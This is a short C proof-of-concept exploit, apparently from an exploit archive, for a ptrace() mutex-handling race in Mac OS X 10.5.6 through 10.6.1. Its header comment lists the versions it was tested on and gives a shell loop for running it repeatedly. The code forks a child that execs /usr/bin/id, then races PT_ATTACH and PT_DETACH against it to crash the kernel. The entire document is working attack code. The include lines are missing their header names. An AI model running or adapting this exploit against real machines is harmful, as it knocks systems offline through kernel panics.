/* Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS ================================================== This code should be run in a loop and due to problems with mutex handling in ptrace a DoS can occur when a destroyed mutex is attempted to be interlocked by OSX kernel giving rise to a race condition. You may need to run this code multiple times. - Tested against 10.5.6 - Tested against 10.5.7 - Tested against 10.6.1 while `true`;do ./prdelka-vs-APPLE-ptracepanic;done -- prdelka */ #include #include #include #include int main(){ pid_t pid; char *argv[] = {"id","","",0}; char *envp[] = {"",0}; pid = fork(); if(pid == 0){ usleep(100); execve("/usr/bin/id",argv,envp); } else{ usleep(820); if(ptrace(PT_ATTACH,pid,0,0)==0){ printf("[ PID: %d has been caught!\n",pid); if(ptrace(PT_DETACH,pid,0,0)<0){ perror("Evil happens."); } usleep(1); wait(0); } else{ perror("Fail!"); } } return(0); }

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